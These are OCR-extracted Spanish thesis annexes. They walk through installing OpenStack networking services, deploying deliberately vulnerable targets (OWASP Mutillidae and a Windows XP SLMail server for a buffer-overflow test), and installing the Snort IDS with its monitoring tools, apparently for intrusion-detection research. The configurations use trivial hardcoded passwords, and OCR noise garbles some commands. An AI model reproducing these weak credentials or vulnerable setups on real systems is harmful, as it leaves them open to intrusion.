Realizado por: Cristian Mifio, 2020

La definicion de usuario, servicios y endpoint para Nova viene determinada de la siguiente

manera:



root@controller@1:~# openstack user create nova --domain default --password=nova

e B e +
| Fleld | value |
R B e +
| domain_1id | default |
| enabled | True |
| id | ©9342e3fcbd04d53901791a558a7e520 |
| name | nova |
| options I {3 |
| password_expires_at | None |
R e e Ly R et D +

Figura 29. Resultado de la creacion del usuario para el servicio Nova

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Instalacion y configuracion del servicio de dashboard (Horizon)

Horizon es el nombre del servicio de administracion web de la plataforma OpenStack, permite

gestionar los servicios de computo, red, almacenamiento, etc. a través de una interfaz grafica.

La instalacion se la realiza en el nodo de control como se muestra en la Figura 30.

1 cmino@controller@l:~$apt install openstack-dashboard

2 cmino@controller@l:~$nano /etc/openstack-dashboard/local_setting.py
3 OPENSTACK_HOST = "controller@l"

4 OPENSTACK_KEYSTONE_URL = "http://%s:5000/v3" % OPENSTACK_HOST
5 OPENSTACK_KEYSTONE_MULTIDOMAIN_SUPPORT = True

6 OPENSTACK_KEYSTONE_DEFAULT_DOMAIN = "Default"

7 OPENSTACK_KEYSTONE_DEFAULT_ROLE = "user"

8 ‘s

9 OPENSTACK_API_VERSIONS = {

10 "identity": 3,

11 "image": 2,

12 "volume": 2,

13 }

14 cmino@controller@l:~$systemctl reload apache2

Figura 30. Instalacion y configuracion del servicio de Horizon

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Instalacion y configuracion del servicio de red (Neutron)

Neutron se le conoce al servicio de red de OpenStack, es el encargado de proveer

infraestructura de red como servicio.



Los componentes que seran instalados son:

Neutron API Server

Modular Layer 2 (ML2) plugin
DHCP agent

Metadata agent

Previo la instalacion de Neutron es necesario configurar la base de datos:

MariaDB [(none)]> CREATE DATABASE neutron;

MariaDB [(none)]> GRANT ALL PRIVILEGES ON neutron.* TO ‘neutron'@'localhost’
IDENTIFIED BY 'neutron';

MariaDB [(none)]> GRANT ALL PRIVILEGES ON neutron.* TO ‘neutron'@'s’
IDENTIFIED BY 'neutron';

MariaDB [(none)]l> quit

o U Bhs W N

Figura 31. Configuracion de la base de datos para el servicio de Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Una vez creada la base de datos se crea el usuario, el rol, y el servicio en el componente

Keystone en la plataforma OpenStack, como se muestra en la Figura 32.

1 source ~/adminrc

2 openstack user create ——-domain Default —--password=neutron neutron
3 opesntack role add ——project service ——user neutron admin
4

5 openstack service create —-name neutron

6 ——description "OpenStack Networking" network

7

8 openstack endpoint create --region RegionOne

9 network public http://controller@l:9696
10
11 openstack endpoint create --region RegionOne
12 network internal http://controller@1:9696
13
14 openstack endpoint create --region RegionOne
15 network admin http://controller@1:0606

Figura 32. Creacion del usuario, rol, servicio y endpoint de Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Posterior se instala los paquetes de Neutron en el nodo de control, como se muestra en la

Figura 33 y el paquete “neutron-plugin-ml2” en los nodos de computo.



sudo apt install neutron-server neutron-dhcp-agent
neutron-metadata—-agent neutron-plugin-m12
python-neutronclient

sudo apt install neutron-plugin-ml2

S W IN =

Figura 33. Paquetes Neutron — Nodo de control

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

En los nodos de control se actualiza la seccion [database] en el archivo de configuracion

“/etc/neutron/neutron.conf” como se muestra en la Figura 34.

1 [databasel]

3 connection = mysql+pymysql://neutron:neutron@controller@l/neutron

Figura 34. Configuracion base de datos para Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Configuracion del componente Keystone en la seccion [DEFAULT] en el archivo de

configuracion ““/etc/neutron/neutron.conf”, como se muestra en la Figura 35.

[DEFAULT]

auth_strategy = keystone

auth_uri = http://controller0l:5000
auth_url = http://controller@1:35357
memcached_servers = controller91:11211
10 auth_type = password
11 project_domain_name = default

1
2
3
4
5 [keystone_authtoken]
6
7
8
9

13 user_domain_name = default
14 project_name = service

15 username = neutron

16 password = neutron

Figura 35. Configuracion Keystone para Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



Configuracion de Neutron para que utilice el servicio de mensajeria, como se muestra en la

Figura 36.

1 [DEFAULT]
2 .
3 transport_url = rabbit://openstack: rabbit@controllerol

Figura 36. Configuracion Rabbit para Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Configuracion de Nova para que utilice el servicio de Neutron, como se muestra en la Figura

37.

[neutron]

url = http://controller@1:9696
auth_url = http://controller@1:35357
auth_type = password
project_domain_name = default
user_domain_name = default
region_name = RegionOne

project_name = service

username = neutron

11 password = neutron
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Figura 37. Configuracion Nova para que utilice Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Configuracion de Neutron para que utilice el servicio de Nova, como se muestra en la Figura

38.

1 [noval
2 e

3 auth_url = http://controller@l:35357
4 auth_type = password

5 project_domain_name = default
6

7

8

9

user_domain_name = default
region_name = RegionOne
project_name = service
username = nova

10 password = nova

Figura 38. Configuracion Neutron para que utilice Nova



Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

El servicio neutron-server expone el API de Neutron el cual es pasado al plugin Neutron para
que sea procesado, las siguientes opciones son configuraciones necesarias para el servicio de
Neutron.

e core plugin

e service plugins

e dhcp lease duration

e dns domain

En todos los nodos de control se actualiza el parametro core plugin en la seccion de
[DEFAULT] en el archivo de configuracion ““/etc/neutron/neutron.conf”, como se muestra en

la Figura 39.

1 [DEFAULT]
2 .
3 core_plugin = ml2

Figura 39. Configuracion del plugin del servicio de Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Antes de iniciar el servicio neutron-server es necesario actualizar la base de datos con comando

“neutron-db-manage”, como se muestra en la Figura 40.

1 su -s /bin/sh -c "neutron-db-manage

2 —--config-file /etc/neutron/neutron.conf

3 ——config-file /etc/neutron/plugins/ml2/ml2_conf.ini

4 upgrade head" neutron

5 #reinicio del servicio Nova API, Scheduler, Conductor en el nodo de computo
6 systemctl restart nova-api nova-scheduler nova-conductor

7 #reinicio del servicio Nova Compute en los nodos de computo

8 systemctl restart nova-compute

9 #reinicio del servicio neutron-server en el nodo de control

10 systemctl restart neutron-server

Figura 40. Configuracion de los servicios de Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Neutron utiliza el servicio dnsmasq para proveer el servicio de DHCP, el servicio neutron-

dhcp-agent es el responsable de generar y configurar el servicio dnsmasq, otra configuracion



importante en el archivo dhep_agent.ini es interface driver el cual debe se basa en el agente
L2.
e Linux bridge: neutron.agent.linux.interface.BridgeInterfaceDriver

e Open vSwitch: neutron.agent.linux.interface.OVSInterfaceDriver

Una vez configurado el agente DHCP se reinicia los servicios, como se muestra en la Figura

41.

1 systemctl restart neutron-dhcp-agent
2 systemctl status neutron-dhcp-agent

Figura 41. Reinicio del servicio agente DHCP

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

El componente de computo de OpenStack provee el servicio de metadata el cual proporciona
la informacion sobre las instancias. En el nodo de control se configura la seccion [neutron]
que se encuentra en el archivo ‘“/etc/nova/nova.conf” y de igual forma se configura en el

archivo “/etc/neutron/metadata_agent.ini”, como se muestra en la Figura 42.

1 #/etc/nova/nova.conf

2 [neutron]

3 .e

4 service_metadata_proxy = true

5 metadata_proxy_shared_secret = MetadataSecret123
6 #/etc/neutron/metadata_agent.ini

7 [DEFAULT]

8 .

9 nova_metadata_host = controllerol

10 metadata_proxy_shared_secret = MetadataSecret123
11 #reinicio del servicio metadata

12 systemctl restart nova-api neutron-metadata-metadata_agent
13 systemctl status neutron-metadata-agent

Figura 42. Configuracion del servicio metadata para Neutron

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



ANEXO B. Instalacion de los servidores a explotar

Para comprobar la implementacion y funcionamiento del sistema de deteccion de intrusos es

necesario contar con ambientes controlados y vulnerables.

Instalacion y configuracion de Mutillidae

OWASP Mutillidae es una aplicacion web OpenSource utilizada en laboratorios y cursos de
entrenamiento para seguridad informatica cuanta con vulnerabilidades que pueden ser
explotadas y analizadas. Mutillidae se encuentra desarrollado en el lenguaje de programacion
PHP y utiliza MySQL como base de datos, para nuestro escenario se instalo Mutillidae en una

instancia de una maquina virtual dentro de la plataforma OpenStack.

1 sudo apt-get install apache2

2 sudo apt-get install php libapache2-mod-php php-mysql

3 sudo add-apt-repository 'deb http://archive.ubuntu.com/ubuntu $(1lsb_release -sc) universe"
4 sudo apt-get install php7.2-curl php7.2-mbstring php7.2-xml

5 sudo dpkg-reconfigure tzdata

6 sudo apt-get install mysql-server

7 sudo mysql -u root

8 mysql> use mysql

9 mysql> update user set authentication_string=PASSWORD('mutillidae') where user = 'root';
10 mysql> update user set plugin='mysql_native_password' where user='root';
11 flush privileges;

12 exit;

13 sudo systemctl restart apache2

14 cd /var/www/html
15 sudo git clone https://github.com/webpwnized/mutillidae.git

Figura 1. Instalacion y configuracion de Mutillidae

Fuente: https://platzi.com/seguridad-informatica/

Realizado por: Cristian Mifio, 2020

Mutillidae al estar desarrollado en PHP necesario en servidor web para su funcionamiento para
este caso se utilizd apache2 y las librerias respectivas para la conexion a la base de datos
MySQL, posterior se configur6 la base de datos y se clond el repositorio desde GitHub, la

ejecucion del proceso se muestra en la jError! No se encuentra el origen de la referencia..

Instalacion y configuracion del SO Windows XP para el taque Buffer Overflow

Microsoft Windows solo dispone de Windows Server 2012 R2, version trail, como solucion
para la nube, en nuestro caso se necesita la version Windows XP, por esta razon se debe seguir

unos pasos adicionales para importar la imagen de Windows XP a la plataforma OpenStack.



El procedimiento que se utilizo en este estudio es a través de QEMU-KVM, el cual nos permite
crear maquinas virtuales con drivers VirtlO los cuales son utilizados para en la plataforma
OpenStack.

La instalacion inicia con verificar si el sistema operativo soporta virtualizacion, esto se revisa
a través el comando “grep-E ‘(vmx|svm)’ /proc/cpuinfo”, si no existe respuesta significa que
el sistema operativo no soporte virtualizacién y es necesario cambiar de maquina.

Posterior a la verificacion se prosigue a la instalacion de los paquetes para QEMU-KVM,

como se muestra en la Figura 2.

1 sudo apt-get install gemu-kvm libvirt-bin bridge-utils virt-manager

Figura 2. Instalacion de QEMU-KVM

Realizado por: Cristian Mifio, 2020

Una vez instalado el virtualizacion, en nuestra maquina local, se inicia el administrador a
través del comando “virt-manager”, seguimos el asistente para instalar un nuevo sistema
operativo y agregamos el ISO de Windows XP, un punto importante es verificar que este

instalado la libreria OVMF el cual permite utilizar el firmware BIOS para la maquina virtual.

1 sudo apt install -y ovmf
Figura 3. Instalacion de la libreria OVMF

Realizado por: Cristian Mifio, 2020



’ Redirector USB 1
Q Redirector USB 2

Figura 4. Configuracion del Firmware BIOS

Realizado por: Cristian Mifio, 2020

Otro punto importante, antes de la instalacion del sistema operativo, es la configuracion del
BUS de disco y del modelo de dispositivo de red, este debe ser VirtlO y el formato de

almacenamiento qcow2, como se muestra en la Figura 5 y Figura 6.



B8 controller uss 0
. Redirector USB 1
’ Redirector USB 2

Figura 4. Configuracion del dispositivo de almacenamiento

Realizado por: Cristian Mifio, 2020

52:54:00:ed:22:12

' Controller USB 0
@ Redirectoruss 1
’ Redirector USB 2

Figura 5. Configuracion del dispositivo de RED

Realizado por: Cristian Mifio, 2020



Una vez instalado el sistema operativo copiamos en archivo .qcow2 a la plataforma

OpenStack, como se muestra en la Figura 6.

1 scp /var/lib/libvirt/images/winxp.qcow2 cmino@172.16.0.202:/home/cmino/

Figura 6. Comando para copiar la imagen a la plataforma OpenStack

Realizado por: Cristian Mifio, 2020

Se crea la imagen a traves del CLI de OpenStack, como se muestra en la Figura 7.

1 openstack image create "winxp" --file /home/cmino/winxp.qcow2 --disk-format qcow2 --container-format bare --public

Figura 7. Creacion de la imagen para Windows XP

Realizado por: Cristian Mifio, 2020
Se crea la instancia y el sabor a través del CLI de OpenStack, como se muestra en la Figura 8.

1 openstack flavor create —-—ram 2048 --vcpus 2 ——disk 15 sl.winxp
2 openstack server create --image winxp --flavor sl.winxp —-nic net-id=shared --availability-zone nova:computeos@l sploit-win

Figura 8. Creacion del sabor y la instancia

Realizado por: Cristian Mifio, 2020

Una vez creada la instancia se prosigue a instalar el software SLMail, es cual va ah ser utilizado

para realizar el ataque Buffer Overflow.

'# BYRP Software POP3 Server on Local Machine [winxp-sploit]

Users I Options ] System | Connection Method | Routing Options ] Logging | Timing |
Access Contral About... |

Stop

Pause

il

1ee
I e

A
A
A

Aceptar Cancelar

Figura 9. Consola de administracion de SLMail



Realizado por: Cristian Mifio, 2020

También es necesario instalar la herramienta ImmunityDebugger, como se muestra en la
Figura 10.

_Immunity Debugger - SLmail.exs - [CPU - thread 000001F, module ntd(l] L e X

[Cl Fle viow ODebug Plgns Inmib Optiors Window Help Jobs =

o TE axpln s UHgs] 1l emtwhecPkbzr..
Copier

Run proaran (F9> Paused

Figura 9. Software ImmunityDebugger

Realizado por: Cristian Mifio, 2020



ANEXO C. Instalacion del sistema de deteccion de intrusos SNORT

Esta guia comprende la instalacion del sistema de deteccion de intrusos Snort y de dos paquetes

adicionales:

e Barnyard2
Software que recoge la salida del IDS Snort y lo almacena en una base de datos, esto con el

objetivo de reducir la carga de procesamiento en el sistema.

e PulledPork

Software que permite actualizar automaticamente las reglas para el IDS.

Instalacion de pre-requisitos para Snort

Para la instalacion de Snort es necesario contar con cuatro pre-requisitos; pcap, pcre, libdnet,

DAQ, los cuales se instalan con los siguientes comandos.

sudo apt—get install -y build-essential

sudo apt-get install -y libpcap-dev libpcre3-dev libdumbnet-dev
sudo apt—get install -y bison flex

#instalacién de DAQ

mkdir ~/snort_src

cd ~/snort_src

cd ~/snort_src

wget https://snort.org/downloads/snort/daq-2.0.6.tar.gz
tar -xvzf daq-2.0.6.tar.gz

cd dag-2.0.6

./configure

make

13 sudo make install
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Figura 1. Instalacion de pre-requisitos para el sistema Snort

Realizado por: Cristian Mifio, 2020

Instalacion de Snort

Para que el sistema de deteccion de intrusos funcione con normalidad es necesario instalar las

siguientes librerias:



1 sudo apt—get install -y zliblg-dev liblzma-dev openssl libssl-dev
2 #Libreria Nghttp2
3 sudo apt—get install -y libnghttp2-dev

Figura 2. Instalacion de librerias adicionales para Snort

Realizado por: Cristian Mifio, 2020

La instalacion del sistema Snort se la realiza a partir del codigo fuente y la compilacion del

mismo, como se indica en la siguiente figura.

cd ~/snort_src

wget https://www.snort.org/downloads/archive/snort/snort-2.9.9.0.tar.gz
tar -xvzf snort-2.9.9.0.tar.gz

cd snort-2.9.9.0

./configure ——enable-sourcefire

make

sudo make install

NOoO s, WN R

Fi;gura 3. Descarga, compilacion e instalacion del sistema Snort

Realizado por: Cristian Mifio, 2020

En el caso que el resultado de la compilacion o instalacion muestre algun error se deberia
volver a ejecutar los pasos de la Figura 2, si no existio errores, se ejecuta el siguiente comando

para actualizar las librerias y se crea el enlace simbolico.

1 sudo ldconfig
2 sudo ln -s /usr/local/bin/snort /usr/sbin/snort

Figura 4. Descarga, compilacion e instalacion del sistema Snort

Realizado por: Cristian Mifio, 2020

Para verificar el funcionamiento del sistema Snort se ejecuta el comando “Snort -V” y el

resultado deberia ser como se muestra en la Figura 5.

:~$ short -V

5y -*> Snort! <*-
o" )~ Version 2.9.9.0 GRE (Build 56)
By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
Copyright (C) 2014-2016 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
Using libpcap version 1.8.1
Using PCRE version: 8.43 2019-02-23
Using ZLIB version: 1.2.11

Figura 5. Version del sistema Snort instalado



Realizado por: Cristian Mifio, 2020

Configuracion del sistema Snort

Snort no debe ejecutarse como root, se necesita crear un usuario para correr el servicio de

Snort, adicional se necesita crear y configuracion archivos adicionales, como se muestra en la

Figura 6.

1 #creacién del usuario y grupo snort

2 sudo groupadd snort

3 sudo useradd snort -r -s /sbin/nologin -c SNORT_IDS -g snort
4

5 #creaciéon de los directorios para snort

6 sudo mkdir /etc/snort

7 sudo mkdir /etc/snort/rules

8 sudo mkdir /etc/snort/rules/iplists

9 sudo mkdir /etc/snort/preproc_rules

10 sudo mkdir /usr/local/lib/snort_dynamicrules

11 sudo mkdir /etc/snort/so_rules

12

13 #creacién de archivos de configuracién para las reglas y ip list
14 sudo touch /etc/snort/rules/iplists/black_list.rules
15 sudo touch /etc/snort/rules/iplists/white_list.rules
16 sudo touch /etc/snort/rules/local.rules

17 sudo touch /etc/snort/sid-msg.map

18

19 #creacién del directorio de logging
20 sudo mkdir /var/log/snort
21 sudo mkdir /var/log/snort/archived_logs
22
23 #permisos
24 sudo chmod -R 5775 /etc/snort
25 sudo chmod -R 5775 /var/log/snort
26 sudo chmod -R 5775 /var/log/snort/archived_logs
27 sudo chmod -R 5775 /etc/snort/so_rules
28 sudo chmod -R 5775 /usr/local/lib/snort_dynamicrules
29
30 #cambio de dueno en las carpetas
31 sudo chown -R snort:snort /etc/snort
32 sudo chown =R snort:snort /var/log/snort
33 sudo chown =R snort:snort /usr/local/lib/snort_dynamicrules

Figura 6. Archivos de configuracion y permisos para Snort

Realizado por: Cristian Mifio, 2020

Se necesita comentar todas las lineas de reglas individuales, dado que a través del PulledPork

se gestionaron automaticamente. En la Figura 7 se muestra el comando para verificar el

correcto funcionamiento de Snort.



1 sudo snort =T -c /etc/snort/snort.conf -i enpdsl
2
3 --== Initialization Complete ==--
4
5 0o —%> Snort! <x-
6 0" )~ Version 2.9.9.0 GRE (Build 56)
7 e By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
8 Copyright (C) 2014-2016 Cisco and/or its affiliates. ALl rights reserved.
9 Copyright (C) 1998-2013 Sourcefire, Inc., et al.
10 Using libpcap version 1.8.1
11 Using PCRE version: 8.43 2019-02-23
12 Using ZLIB version: 1.2.11
13
14 Rules Engine: SF_SNORT_DETECTION_ENGINE Version 3.@ <Build 1>
15 Preprocessor Object: SF_SSLPP Version 1.1 <Build 4>
16 Preprocessor Object: SF_SIP Version 1.1 <Build 1>
17 Preprocessor Object: SF_FTPTELNET Version 1.2 <Build 13>
18 Preprocessor Object: SF_GTP Version 1.1 <Build 1>
19 Preprocessor Object: SF_POP Version 1.0 <Build 1>
20 Preprocessor Object: SF_SSH Version 1.1 <Build 3>
21 Preprocessor Object: SF_DNP3 Version 1.1 <Build 1>
22 Preprocessor Object: SF_DNS Version 1.1 <Build 4>
23 Preprocessor Object: SF_SDF Version 1.1 <Build 1>
24 Preprocessor Object: SF_SMTP Version 1.1 <Build 9>
25 Preprocessor Object: SF_DCERPC2 Version 1.0 <Build 3>
26 Preprocessor Object: SF_REPUTATION Version 1.1 <Build 1>
27 Preprocessor Object: SF_MODBUS Version 1.1 <Build 1>
28 Preprocessor Object: SF_IMAP Version 1.0 <Build 1>
29

30 Snort successfully validated the configuration!
31 Snort exiting

Figura 7. Verificacion de la instalacion de Snort

Realizado por: Cristian Mifio, 2020

Instalacion de Barnyard?2

Snort requiere una gran cantidad de recursos para escribir eventos que puedan ser entendidos
por humanos, ya sea en consola o en archivos de texto, en algunos casos es necesario contar
con estos eventos almacenados en una base de datos como MySQL, Barnyard2 es una
herramienta que ayuda almacenar los eventos en una base de datos de una forma asincrona sin

afectar el redimiendo del Snort.

Para instalar Barnyard2 se requiere las siguientes librerias.

1 sudo apt-get install -y mysql-server libmysqlclient-dev mysql-client autoconf libtool

Una vez instalado los pre requisitos para Barnyard2, es necesario configurar Snort para que
los resultados sean en formato binario, esta configuracion se la realiza en el archivo

“/etc/Snort/Snort.conf”, como se muestra en la Figura 8.

1 sudo nano /etc/snort/snort.conf
2 #despues de la linea 521, se agrega la siguiente linea
3 output unified2: filename snort.u2, limit 128

Figura 8. Configuracion de Snort para que genere los eventos en binario



Realizado por: Cristian Mifio, 2020

Para la instalacion de Barnyard2 se descarga desde el repositorio oficial de GitHub, como se

muestra en la Figura 9.
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cd ~/snort_src

wget https://github.com/firnsy/barnyard2/archive/master.tar.gz -0 barnyard2-Master.tar.gz

tar zxvf barnyard2-Master.tar.gz

cd barnyard2-master

autoreconf -fvi -I ./m4

#Se crea el link de la libreria dnet.h (esto solo en ubuntu)

sudo ln -s /usr/include/dumbnet.h /usr/include/dnet.h

sudo ldconfig

#En este caso, se trabajo en la arquitectura x86_64, en el caso que se utilice la arguitectura x86
#se tendria que utilizar ./configure --with-mysql --with-mysql-libraries=/usr/lib/i386-1inux-gnu
./configure —-with-mysql --with-mysql-libraries=/usr/1ib/x86_64-linux-gnu

#para completar la instalacién

make

sudo make install

Figura 8. Instalacion de Barnyard2

Realizado por: Cristian Mifio, 2020

Para comprobar la instalacion de Barnyard2 se ejecuta el siguiente comando.

lo

:~$ /usr/local/bin/barnyard2 -V

-*> Barnyard2 <*-

ys— \ Version 2.1.14 (Build 337)

"

J)~| By Ian Firns (SecurixLive): http://www.securixlive.com/

"""+ (O Copyright 2008-2013 Ian Firns <firnsy@securixlive.com>

~$

Una vez instalado Barnyard2 se necesita copiar y crear algunos archivos de configuracion,

como se muestra en la Figura 9.

OO Ul s, WN R

sudo cp ~/snort_src/barnyard2-master/etc/barnyard2.conf /etc/snort/
# archivos, carpetas, y propietarios

sudo mkdir /var/log/barnyard2

sudo chown snort.snort /var/log/barnyard2

sudo touch /var/log/snort/barnyard2.waldo

sudo chown snort.snort /var/log/snort/barnyard2.waldo

Figura 9. Archivos de configuracion para Barnyard2

Realizado por: Cristian Mifio, 2020

Barnyard2 almacena los eventos, generados por Snort, en una base de datos MySQL por lo

cual es necesario crear la base de datos, el esquema y asignar los permisos respectivos, como

se muestra en la Figura 10.



$ mysql -u root -p

mysql> create database snort;

mysql> use snort;

mysql> source ~/snort_src/barnyard2-master/schemas/create_mysql

mysql> CREATE USER 'snort'@'localhost' IDENTIFIED BY 'MySqlSNORTpassword';

mysql> grant create, insert, select, delete, update on snort.x to 'snort'@'localhost'; mysql> exit

o Ul B WN =

Figura 10. Creacion de la base de datos para Barnyard2

Realizado por: Cristian Mifio, 2020

Una vez creada la base de datos es necesario configurar Barnyard2 para que se conecte a la
base de datos MySQL, esta configuracion se la realiza en el archivo

“/etc/snort/barnyard2.conf”, como se muestra en la Figura 11.

1 output database: log, mysql, user=snort password=MySqlSNORTpassword
2 dbname=snort host=1localhost sensor name=sensor9dl

Figura 11. Configuracion de Barnyard2 para que se conecte a la base de datos

Realizado por: Cristian Mifio, 2020

1 #permisos de lectura y escritura
2 sudo chmod o-r /etc/snort/barnyard2.conf

Figura 12. Permisos para el archivo de configuracion de Barnyard2

Realizado por: Cristian Mifio, 2020

Una vez instalado Barnyard2, se ejecuta los tanto Snort como Barnyard2 como se muestra en

la Figura 13, y se comprueba si se esta registrando en la base de datos como muestra en la

Figura 14.
1 #Snort
2 sudo /usr/local/bin/snort -q -u snort -g snort -c /etc/snort/snort.conf -i enp4s2
3 #Barnyard2
4 sudo barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort —f snort.u2 -w /var/log/snort/barnyard2.waldo \
5 —g snort —-u snort

Figura 13. Ejecucion de Snort y Barnyard?2

Realizado por: Cristian Mifio, 2020

1 mysql -u snort -p -D snort -e "select count(x) from event"
2 #resultado

3 Fm————————e +

4 | count(x) |

5 Fm————————— +

6 | 100 |

7 Fm————————— +

Figura 14. Consulta SQL para comprobar Barnyard?2

Realizado por: Cristian Mifio, 2020



Instalacion de PulledPork

PulledPork es un script desarrollado en Python que permite descargar, combinar, actualizar e

instalar reglas para Snort desde diferente lugares. Nos permite automatizar la actualizacion de

reglas.

Para la instalacion se necesitas unos pre requisitos, como se muestra en la Figura 15.

1

sudo apt-get install -y libcrypt-ssleay-perl liblwp-useragent-determined-perl

Figura 15. Pre requisitos para la instalacion de PulledPork

Realizado por: Cristian Mifio, 2020

Una vez que se encuentra instalado los pre requisitos, se descarga e instala el script de

PulledPork desde el repositorio de GitHub, como se muestra en la Figura 16.
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cd ~/snort_src
wget https://github.com/shirkdog/pulledpork/archive/master.tar.gz -0 pulledpork-master.tar.gz

tar xzvf pulledpork-master.tar.gz
cd pulledpork-master/
sudo cp pulledpork.pl /usr/local/bin

sudo chmod +x /usr/local/bin/pulledpork.pl sudo cp etc/*.conf /etc/snort

Figura 16. Instalacion de PulledPork

Realizado por: Cristian Mifio, 2020

La configuracion de PulledPork para que se descargue las reglas se la realiza en el archivo de

configuracion ““/etc/snort/pulledpork.conf” y se agrega/modifica las siguientes lineas.

1
2
3
4
5
6
7
8
9

10

sudo nano

Linea
Linea
Linea
Linea
Linea
Linea
Linea
Linea

74:
89:
92:
96:

119:
133:
141:
150:

/etc/snort/pulledpork.conf

se

se

cambia por:
cambia por:
cambia por:
cambia por:

cambia por:
cambia por:
cambia por:
cambia por:

rule_path=/etc/snort/rules/snort.rules
local_rules=/etc/snort/rules/local.rules
sid_msg=/etc/snort/sid-msg.map
sid_msg_version=2
config_path=/etc/snort/snort.conf
distro=Ubuntu-18-4
black_list=/etc/snort/rules/iplists/black_list.rules
IPRVersion=/etc/snort/rules/iplists

Figura 17. Configuracion de PulledPork

Realizado por: Cristian Mifio, 2020

Una vez instalado y configurado PulledPork, se ejecuta como se muestra en la Figura 18.



#Ejecucidén de pulledpork

sudo /usr/local/bin/pulledpork.pl —-c /etc/snort/pulledpork.conf -1
#script para que se ejecute todos los dias a la 1 am

00 01 * * *x /usr/local/bin/pulledpork.pl -c /etc/snort/pulledpork.conf -1
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Figura 18. Ejecucion de PulledPork

Realizado por: Cristian Mifio, 2020

Script de inicio para Ubuntu 18

Para la ejecucion y administracion de Snort y Barnyard2, se recomienda crear servicios

systemD a nivel de sistema operativo, para esto se crea el siguiente archivo.

sudo nano /lib/systemd/system/snort.service

1
2
3 #lineas agregadas al archivo snort.service

4 [Unit]

5 Description=Snort NIDS Daemon After=syslog.target network.target

6 [Service]

7 Type=simple

8 ExecStart=/usr/local/bin/snort -q -u snort -g snort -c /etc/snort/snort.conf -i enp4s2
9 [Install] WantedBy=multi-user.target

Figura 19. Servicio systemD para Snort

Realizado por: Cristian Mifio, 2020

1 sudo systemctl enable snort
2 sudo systemctl start snort
3 systemctl status snort

Figura 20. Inicio del servicio systemD para Snort

Realizado por: Cristian Mifio, 2020
Se crea el archivo barnyard2.service:

sudo nano /lib/systemd/system/barnyard2.service

#lineas agregadas al archivo barnyard2

[Unit]

Description=Barnyard2 Daemon After=syslog.target network.target

[Service]

Type=simple

ExecStart=/usr/local/bin/barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort —-f snort.u2 -q -w /var/log/
snort/barnyard2.waldo —-g snort —u snort -D -a /var/log/snort/archived_logs

[Install] WantedBy=multi-user.target
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Figura 21 Servicio systemD para Barnyard2

Realizado por: Cristian Mifio, 2020



1 sudo systemctl enable barnyard2
2 sudo systemctl start barnyard2
3 systemctl status barnyard2

Figura 20. Inicio del servicio systemD para Barnyard2

Realizado por: Cristian Mifio, 2020



ANEXO D. Instalacion del sistema de monitoreo

Para comprobar el disefio del sistema de deteccion de intrusos es necesario contar con
herramientas para su monitoreo y medicién, en nuestro caso se utilizdo las siguientes

herramientas.

Instalacion y configuracion de Zabbix

Zabbix es una herramienta de monitoreo de codigo abierto, la cual cuenta con un agente

zabbix-agent que recolecta la informacion de CPU, memoria, red, etc. Posteriormente, es

enviado al servidor para ser graficado y analizado.

1 sudo wget https://repo.zabbix.com/zabbix/4.4/ubuntu/pool/main/z/zabbix-release/

2 zabbix-release_4.4-1+bionic_all.deb

3 sudo dpkg —-i zabbix-release_4.4-1+bionic_all.deb

4 sudo apt -y install zabbix-server-mysql zabbix-frontend-php

5 zabbix-apache-conf zabbix-agent

6 sudo mysql -uroot -p

7 mysql> create database zabbix character set utf8 collate utf8_bin;

8 mysql> grant all privileges on zabbix.* to zabbix@localhost identified by 'password’;
9 mysql> quit;

10 zcat /usr/share/doc/zabbix-server-mysqlx/create.sql.gz | mysql —-uzabbix -p zabbix
11 nano /etc/zabbix/zabbix_server.conf

12 DBPassword=password

13 nano /etc/zabbix/apache.conf

14 php_value date.timezone America/Guayaquil

15 systemctl restart zabbix-server zabbix-agent apache2

16 systemctl enable zabbix-server zabbix-agent apache2

Figura 1. Instalacion y configuracion del sistema de monitoreo Zabbix

Realizado por: Cristian Mifio, 2020

Para la instalacion del sistema de monitoreo Zabbix es necesario descargar el repositorio,
posterior se instala los diferentes paquetes, como se muestra en la linea 4 y 5 de la Figura 1,
una vez instalado el sistema de monitoreo es necesario configurar la base de datos para esto
ingresamos a MySQL, se crea la base de datos y se otorga los permisos para su conexion,

como se indica en la linea 6-9 de la Figura 1.

Instalacion y configuracion de BASE

BASE es una aplicacion web que permite visualizar las alertas y eventos registrados por el
sistema de deteccion de intrusos Snort, se encuentra desarrollada en PHP y es de codigo
abierto, BASE viene de las siglas en ingles “Basic Analysis and Security Engine”.

Para la instalacion de BASE se necesita unos pre-requisitos, como se muestra en la Figura 1.



1 sudo add-apt-repository ppa:ondrej/php sudo apt-get update

2 sudo apt—-get install -y apache2 libapache2-mod-php5.6 php5.6-mysql

3 php5.6-cli php5.6 php5.6-common php5.6-gd php5.6-cli php-pear php5.6-xml
4 sudo pear install -f —-alldeps Image_Graph

Figura 2. Pre-requisitos para la instalacion de BASE

Realizado por: Cristian Mifio, 2020

Una vez instalado los pre-requisitos se descarga la libreria ADODB, la cual permite la

conexion a la base de datos MySQL.

cd ~/snort_src

wget https://sourceforge.net/projects/adodb/files/adodb-php5-only/adodb-520-for-php5/adodb-5.20.8.tar.gz
tar -xvzf adodb-5.20.8.tar.gz

sudo mv adodb5 /var/adodb

5 sudo chmod -R 755 /var/adodb

Figura 3. Instalacion de ADODB

Realizado por: Cristian Mifio, 2020
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Posterior se procede a descargar la aplicacion BASE y se copia en el directorio

/var/www/html/base.

cd ~/snort_src

